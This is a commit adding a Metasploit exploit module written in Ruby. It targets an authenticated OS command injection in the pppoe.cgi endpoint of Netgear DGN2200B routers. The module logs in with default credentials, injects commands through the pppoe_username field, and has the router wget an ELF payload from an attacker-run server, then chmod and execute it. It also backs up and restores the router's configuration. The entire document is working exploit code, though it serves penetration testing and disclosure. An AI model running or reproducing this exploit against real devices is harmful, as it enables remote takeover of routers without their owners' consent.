Land rapid7#1700, @m-1-k-3's exploit for Netgear DGN2200B

Author: jvazquez-r7

modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb

@@ -0,0 +1,365 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ManualRanking
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::Remote::HttpServer
+	include Msf::Exploit::EXE
+	include Msf::Exploit::FileDropper
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'        => 'Netgear DGN2200B pppoe.cgi Remote Command Execution',
+			'Description' => %q{
+					Some Netgear Routers are vulnerable to an authenticated OS command injection.
+				Default credentials for the web interface are admin/admin or admin/password.
+				Since it is a blind os command injection vulnerability, there is no output for the
+				executed command when using the cmd generic payload. A ping command against a
+				controlled system could be used for testing purposes.
+
+				WARNING: We overwrite parts of the PPPOE configuration! Backup it prior using this module!
+			},
+			'Author'      =>
+				[
+					'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
+					'juan vazquez' # minor help with msf module
+				],
+			'License'     => MSF_LICENSE,
+			'References'  =>
+				[
+					[ 'BID', '57998' ],
+					[ 'EDB', '24513' ],
+					[ 'OSVDB', '90320' ],
+					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-015' ]
+				],
+			'DisclosureDate' => 'Feb 15 2013',
+			'Privileged'     => true,
+			'Platform'       => ['linux','unix'],
+			'Payload'        =>
+				{
+					'DisableNops' => true
+				},
+			'Targets'        =>
+				[
+					[ 'CMD',
+						{
+						'Arch' => ARCH_CMD,
+						'Platform' => 'unix'
+						}
+					],
+					[ 'Linux mipsbe Payload',
+						{
+						'Arch' => ARCH_MIPSBE,
+						'Platform' => 'linux'
+						}
+					],
+				],
+			'DefaultTarget'  => 1,
+			))
+
+		register_options(
+			[
+				OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
+				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
+				OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
+				OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
+				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 45])
+			], self.class)
+	end
+
+	def get_config(config, pattern)
+		if config =~ /#{pattern}/
+			#puts "[*] #{$1}"	#debugging
+			return $1
+		end
+		return ""
+	end
+
+	def grab_config(user,pass)
+		print_status("#{rhost}:#{rport} - Trying to download the original configuration")
+		begin
+			res = send_request_cgi({
+				'uri'     => '/BAS_pppoe.htm',
+				'method'  => 'GET',
+				'authorization' => basic_auth(user,pass)
+			})
+			if res.nil? or res.code == 404
+				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
+			end
+			if [200, 301, 302].include?(res.code)
+				if res.body =~ /pppoe_username/
+					print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
+				else
+					fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
+				end
+			else
+				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
+			end
+		rescue ::Rex::ConnectionError
+			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
+		end
+
+		@pppoe_username_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_username\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
+		@pppoe_passwd_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"password\"\ name=\"pppoe_passwd\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
+		@pppoe_servicename_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_servicename\"\ maxlength=\"63\"\ size=\"15\"\ value=\"(.*)\"><\/td")
+
+		@runtest_orig = get_config(res.body, "<input\ type=\"hidden\"\ name=\"runtest\"\ value=\"(.*)\">")
+		@wan_ipaddr_orig = get_config(res.body, "<INPUT\ name=wan_ipaddr\ type=hidden\ value=\ \"(.*)\">")
+		@pppoe_localip_orig = get_config(res.body, "<INPUT\ name=pppoe_localip\ type=hidden\ value=\ \"(.*)\">")
+		@wan_dns_sel_orig = get_config(res.body, "<INPUT\ name=wan_dns_sel\ type=hidden\ value=\ \"(.*)\">")
+		@wan_dns1_pri_orig = get_config(res.body, "<INPUT\ name=wan_dns1_pri\ type=hidden\ value=\ \"(.*)\">")
+		@wan_dns1_sec_orig = get_config(res.body, "<INPUT\ name=wan_dns1_sec\ type=hidden\ value=\ \"(.*)\">")
+		@wan_hwaddr_sel_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_sel\ type=hidden\ value=\ \"(.*)\">")
+		@wan_hwaddr_def_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_def\ type=hidden\ value=\ \"(.*)\">")
+		@wan_hwaddr2_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr2\ type=hidden\ value=\ \"(.*)\">")
+		@wan_hwaddr_pc_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_pc\ type=hidden\ value=\ \"(.*)\">")
+		@wan_nat_orig = get_config(res.body, "<INPUT\ name=wan_nat\ type=hidden\ value=\ \"(.*)\">")
+		@opendns_parental_ctrl_orig = get_config(res.body, "<INPUT\ name=opendns_parental_ctrl\ type=hidden\ value=\ \"(.*)\">")
+		@pppoe_flet_sel_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_sel\ type=hidden\ value=\ \"(.*)\">")
+		@pppoe_flet_type_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_type\ type=hidden\ value=\ \"(.*)\">")
+		@pppoe_temp_orig = get_config(res.body, "<INPUT\ name=pppoe_temp\ type=hidden\ value=\ \"(.*)\">")
+		@apply_orig = get_config(res.body, "<input\ type=\"SUBMIT\"\ name=\"apply\"\ value=(.*)\ onClick=\"return\ checkData\(\)\">")
+	end
+
+	def restore_conf(user,pass,uri)
+		# we have used most parts of the original configuration
+		# just need to restore pppoe_username
+		cmd = @pppoe_username_orig
+		print_status("#{rhost}:#{rport} - Asking the Netgear device to reload original configuration")
+
+		res = request(cmd,user,pass,uri)
+
+		if (!res)
+			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
+		end
+
+		print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
+		select(nil, nil, nil, @timeout)
+	end
+
+	def request(cmd,user,pass,uri)
+		begin
+
+		#original post request
+		#login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20COMMAND%20%26
+		#&pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5
+		#&WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen
+		#&runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0
+		#&wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0
+		#&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05
+		#&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0
+		#&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0
+
+			res = send_request_cgi(
+				{
+					'uri'	=> uri,
+					'method' => 'POST',
+					'authorization' => basic_auth(user,pass),
+					'encode_params' => false,
+					'vars_post' => {
+						"login_type" => "PPPoE%28PPP+over+Ethernet%29",#default must be ok
+						"pppoe_username" => cmd,
+						"pppoe_passwd" => @pppoe_passwd_orig,
+						"pppoe_servicename" => @pppoe_servicename_orig,
+						"pppoe_dod" => "1",		#default must be ok
+						"pppoe_idletime" => "5",	#default must be ok
+						"WANAssign" => "Dynamic",	#default must be ok
+						"DNSAssign" => "0",		#default must be ok
+						"en_nat" => "1",		#default must be ok
+						"MACAssign" => "0",		#default must be ok
+						"apply" => @apply_orig,
+						"runtest" => @runtest_orig,
+						"wan_ipaddr" => @wan_ipaddr_orig,
+						"pppoe_localip" => @pppoe_localip_orig,
+						"wan_dns_sel" => @wan_dns_sel_orig,
+						"wan_dns1_pri" => @wan_dns1_pri_orig,
+						"wan_dns1_sec" => @wan_dns1_sec_orig,
+						"wan_hwaddr_sel" => @wan_hwaddr_sel_orig,
+						"wan_hwaddr_def" => @wan_hwaddr_def_orig,
+						"wan_hwaddr2" => @wan_hwaddr2_orig,
+						"wan_hwaddr_pc" => @wan_hwaddr_pc_orig,
+						"wan_nat" => @wan_nat_orig,
+						"opendns_parental_ctrl" => @opendns_parental_ctrl_orig,
+						"pppoe_flet_sel" => @pppoe_flet_sel_orig,
+						"pppoe_flet_type" => @pppoe_flet_type_orig,
+						"pppoe_temp" => @pppoe_temp_orig,
+						"opendns_parental_ctrl" => @opendns_parental_ctrl_orig
+					}
+				})
+			return res
+		rescue ::Rex::ConnectionError
+			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
+			return nil
+		end
+	end
+
+	def logout(user,pass)
+		begin
+			res = send_request_cgi({
+				'uri'     => '/LGO_logout.htm',
+				'method'  => 'GET',
+				'authorization' => basic_auth(user,pass)
+			})
+			if res.nil? or res.code == 404
+				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible")
+			end
+		rescue ::Rex::ConnectionError
+			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
+		end
+
+	end
+
+	def exploit
+		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
+		uri = '/pppoe.cgi'
+		user = datastore['USERNAME']
+		pass = datastore['PASSWORD']
+		@timeout = datastore['HTTP_DELAY']
+
+		#
+		# testing Login
+		#
+		print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
+		begin
+			res = send_request_cgi({
+				'uri'     => '/',
+				'method'  => 'GET',
+				'authorization' => basic_auth(user,pass)
+			})
+			if res.nil? or res.code == 404
+				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
+			end
+			if [200, 301, 302].include?(res.code)
+				print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
+			else
+				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
+			end
+		rescue ::Rex::ConnectionError
+			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
+		end
+
+		grab_config(user,pass)
+
+		if target.name =~ /CMD/
+			if not (datastore['CMD'])
+				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
+			end
+			cmd = payload.encoded
+			cmd = "%26%20#{cmd}%20%26"
+			res = request(cmd,user,pass,uri)
+			if (!res)
+				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
+			else
+				print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
+			end
+			return
+		end
+
+		#thx to Juan for his awesome work on the mipsel elf support
+		@pl = generate_payload_exe
+		@elf_sent = false
+
+		#
+		# start our server
+		#
+		resource_uri = '/' + downfile
+
+		if (datastore['DOWNHOST'])
+			service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
+		else
+			#do not use SSL
+			if datastore['SSL']
+				ssl_restore = true
+				datastore['SSL'] = false
+			end
+
+			#we use SRVHOST as download IP for the coming wget command.
+			#SRVHOST needs a real IP address of our download host
+			if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+				srv_host = Rex::Socket.source_address(rhost)
+			else
+				srv_host = datastore['SRVHOST']
+			end
+
+			service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+			print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
+			start_service({'Uri' => {
+				'Proc' => Proc.new { |cli, req|
+					on_request_uri(cli, req)
+				},
+				'Path' => resource_uri
+			}})
+
+			datastore['SSL'] = true if ssl_restore
+		end
+
+		#
+		# download payload
+		#
+		print_status("#{rhost}:#{rport} - Asking the Netgear device to download and execute #{service_url}")
+		#this filename is used to store the payload on the device
+		filename = rand_text_alpha_lower(8)
+
+		cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename};chmod 777 /tmp/#{filename};/tmp/#{filename}"
+		cmd = Rex::Text.uri_encode(cmd)
+		cmd = "%26%20#{cmd}%20%26"
+		res = request(cmd,user,pass,uri)
+		if (!res)
+			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
+		end
+
+		# wait for payload download
+		if (datastore['DOWNHOST'])
+			print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload")
+			select(nil, nil, nil, datastore['HTTP_DELAY'])
+		else
+			wait_linux_payload
+		end
+		register_file_for_cleanup("/tmp/#{filename}")
+
+		#
+		#reload original configuration
+		#
+		restore_conf(user,pass,uri)
+
+		#
+		#lockout of the device and free the management sessions
+		#
+		logout(user,pass)
+	end
+
+	# Handle incoming requests from the server
+	def on_request_uri(cli, request)
+		#print_status("on_request_uri called: #{request.inspect}")
+		if (not @pl)
+			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
+			return
+		end
+		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
+		@elf_sent = true
+		send_response(cli, @pl)
+	end
+
+	# wait for the data to be sent
+	def wait_linux_payload
+		print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
+
+		waited = 0
+		while (not @elf_sent)
+			select(nil, nil, nil, 1)
+			waited += 1
+			if (waited > datastore['HTTP_DELAY'])
+				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
+			end
+		end
+	end
+
+end